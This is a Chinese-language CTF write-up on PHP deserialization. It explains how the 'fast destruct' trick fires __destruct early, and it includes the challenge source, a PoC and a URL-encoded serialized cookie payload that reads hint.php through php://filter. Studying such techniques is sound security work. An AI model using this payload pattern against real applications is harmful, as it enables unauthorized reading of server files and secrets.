简介
由于在php中,一个类的生命周期是这个页面所有代码执行完毕。我们可以理解为,每请求一次php的页面,就意味着我们想要从头执行一遍php代码渲染页面,在其中所用到的所有类都将在这个页面渲染结束后才会销毁,只有销毁的时候才会触发对应类的__destruct
函数,一旦在运行过程中出现报错,或者代码终止,那么我们的反序列化漏洞将会利用不成功。今天介绍的这个技巧被称为fast destruct
,便可以在unserialize
函数执行完后,立即触发我们的poc,从而使得反序列化漏洞利用稳定性提高。
原理
unserialize
函数反序列化代码的过程大概如下:(详细调试过程)
获取反序列化字符串–>根据类型进行反序列化—>查表找到对应的反序列化类–>根据字符串判断元素个数–>new出新实例–>迭代解析化剩下的字符串–>判断是否具有魔法函数__wakeup并标记—>释放空间并判断是否具有具有标记—>开启调用。
根据上面的流程,我们可以发现,这个过程中是逐步对对象做解析的,而且解析过程中会同时去根据相应的魔法函数标记去调用魔法函数,所以说,即使完整的反序列化最终失败了,但在这个过程中涉及到的对象仍然是可以正常出发魔法函数的调用的。Fast destruct的目的就是让完整的反序列化失败,再利用unserialize
运行失败后会对运行中已经创建出来类进行销毁这一特性,去提前触发对应类中的__destruct
函数。
题目示例
这是一道2021年强网杯的ctf反序列化题,一共涉及到三个php文件(index.php
,function.php
,myclass.php
),我们的目的是读取一个命为hint.php
的文件内容。
题目代码如下:
<!-- You may need to know what is in hint.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
$b = serialize($res);
if(preg_match('/myclass/i',$b)){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{
if($this->qwb){
echo file_get_contents($this->qwb);
}
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/xampp/htdocs/$classname.php";
}
?>
本题的难点有以下几个:
-
index.php
运行过程中是没有使用myclass.php
中的Hello
类的,如何加载myclass.php
? -
index.php
中,使用unserialize
函数反序列化化后,还特意去检测了一下序列化后的字符串是否存在myclass
字段(PS:这实际上也是对第一个难点的提示),如何绕过该检测? - 以
.php
后缀结尾的文件在使用file_get_contents
读取文件内容时,会自动渲染该php文件,如何避开渲染,读取到源码?
解题思路:
利用function.php
中的__autoload
函数加载myclass.php
(__autoload
// 如果出现了当前命名空间不存在的类时,会自动调用该函数,把那个类名当作参数传入该函数),再触发Hello
类的__destruct
函数去读取hint.php
文件内容。
难点解决方案:
- 利用
__autoload
函数。 - 让反序列化失败,
$res
值为空,提前触发__destruct
函数。 - 利用php伪协议。
poc代码如下:
<?php
class myclass{}
class Hello{
public $qwb = "php://filter/convert.base64-encode/resource=hint.php";
}
$a = new myclass();
$a->test= new Hello();
echo serialize($a);
将Cookie中的yyds设为
O:7:%22myclass%22:1:%7Bs:4:%22test%22;O:5:%22Hello%22:1:%7Bs:3:%22qwb%22;s:52:%22php://filter/convert.base64-encode/resource=hint.php%22;%7D%7D
即可利用漏洞。

需要注意的是:使用urlencode将poc中的特殊字符串编码一下,否则由于环境的差异,poc中的;
可能会引起参数截断。
例如,在使用phpstorm调试时,将ctfer
变量赋值为O:7:"myclass":1:{s:4:"test";O:5:"Hello":1:{s:3:"qwb";s:8:"hint.txt";}
,传入的参数后,cookie实际值如下图:

网友评论